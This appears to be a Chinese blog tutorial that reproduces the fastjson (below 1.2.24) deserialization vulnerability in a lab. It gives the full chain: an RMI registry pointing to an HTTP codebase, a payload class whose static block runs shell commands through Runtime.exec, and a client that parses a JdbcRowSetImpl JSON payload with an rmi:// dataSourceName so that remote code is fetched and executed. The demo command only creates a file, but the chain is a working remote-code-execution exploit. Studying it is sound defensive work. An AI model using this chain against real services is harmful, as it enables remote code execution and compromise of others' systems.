1.在fastjson发布反序列化漏洞后,一般都是将maven依赖更改位最新的修复版本,没有对其漏洞进行分析,也没有对rmi有太多了解,以此记录。
2.模拟攻击
准备条件:
mac、windows,fastjson<1.2.24
3.编写rmi服务器
rmi由攻击者编写,使其提供class文件用以加载。
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
System.setProperty("java.rmi.server.hostname","192.168.1.121"); //这里用以公网访问
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("TouchTestFile",new ReferenceWrapper(new Reference("TouchTestFile","TouchTestFile",
"http://192.168.1.121:80/")));
System.out.println("rmi启动完成 " + registry.toString());
}
}
4.编写反序列化的pojo对象
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.File;
import java.io.IOException;
import java.util.Hashtable;
public class TouchTestFile implements ObjectFactory {
static {
try {
Runtime runtime = Runtime.getRuntime();
runtime.exec("cmd /C mkdir temp",null,new File("C:"));
Thread.sleep(1000L);
runtime.exec("cmd /C type nul>c.h",null,new File("C:\\temp"));
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception {
System.out.println("攻击完成");
return null;
}
}
5.编译pojo对象,并为其提供下载地址,我这里使用mamp的apache服务器,使用其他完全没问题,只要提供下载即可。
将得到的class文件放到web目录下。
6.以上我是在mac上完成的,模拟攻击者制作的攻击条件,现在需要在被攻击的电脑上编写客户端。
windows下的客户端代码:
package com.cocos;
import com.alibaba.fastjson.JSON;
public class App
{
public static void main( String[] args )
{ //高版本的jdk可能没有开启url加载
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//构造攻击的json数据
//这里的192.168.1.121:1099是rmi服务器的地址与端口
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.1.121:1099/TouchTestFile\",\"autoCommit\":true}";
JSON.parseObject(json);
}
}
7.环境完成,测试